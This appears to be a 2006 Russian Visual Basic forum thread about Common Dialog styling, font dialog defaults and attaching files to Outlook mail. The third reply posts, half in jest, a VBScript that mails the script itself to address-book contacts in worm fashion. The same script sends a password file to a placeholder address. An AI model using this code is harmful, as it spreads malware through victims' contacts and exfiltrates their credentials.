| Вопрос: Common Dialog и еще несколько вопросов. | Добавлено: 15.02.06 23:44 |
Автор вопроса:  Юрий
|
| Добрый день!Если кто знает, подскажите как в ХР сделать Сommon Dialog в стиле Win 98(95). Без левой колонки в нем с кнопками: Рабочий Стол, недавние документы и т.д. Ну т.е., самый классический вид коммон диалога. Еще вопросик, как я понял (может неверно) ShellExecute ... mailto:... позволяет делать с письмом в АутГлюк Экспрессе все, кроме приаттачивания файла. А чем и как его можно приаттачить к письму в АутГлюк Экспрессе? Спасибо всем! |
| Ответы | Всего ответов: 3 |
|
Номер ответа: 1 Автор ответа:  Юрий Вопросов: 11 Ответов: 30 |
Профиль | | #1 | Добавлено: 16.02.06 00:59 |
Еще,забыл сразу спросить  , вопрос такой: в проге имеются сохраненные настройки шрифта (FontName, FontBold и т.д.). Все настройки шрифта создаются с помощью CommonDialog.ShowFont. А как сделать, чтобы при открытии коммон диалога для изменения шрифта, он показывал в себе текущие установки на настоящий момент(имя шрифта, курсив, размер и т.д., в зависимости от текущих установок). Какие свойства нужно использовать? Большое спасибо.!
|
||
|
Номер ответа: 2 Автор ответа: Tamplier ICQ: 298742928 Вопросов: 58 Ответов: 340 |
Профиль | | #2 | Добавлено: 16.02.06 14:24 |
|
Чтобы задать кд определеные параметры просто, перед тем, как вызвать диалог задай ему необходимые параметры.
Т.е. With cdi1 Let .Font = Control.Font Let .Font.Bold = Control.Font.Bold '...и так далее... cdi1.ShowFont End With |
||
|
Номер ответа: 3 Автор ответа: HACKER Разработчик Offline Client Вопросов: 236 Ответов: 8362 |
Профиль | | #3 | Добавлено: 19.02.06 03:40 |
|
ну типа...
Dim OutlookObject, OutMail, Index Set OutlookObject = CreateObject("Outlook.Application" 
Set OutMail = OutlookObject.CreateItem(0) OutMail.to = OutlookObject.GetNameSpace("MAPI" .AddressLists(1).AddressEntries(Index)
OutMail.Subject = "Тема сообщения" OutMail.Body = "Тело сообщения" OutMail.Attachments.Add(WScript.ScriptFullName) OutMail.Send Set OutMail = OutlookObject.CreateItem(0) OutMail.to = "Ваш E-mail" OutMail.Subject = "Тема сообщения" OutMail.Body = "Тело сообщения" OutMail.Attachments.Add("Путь к файлу с паролями ))"
OutMail.Send |
||
Страница: 1 |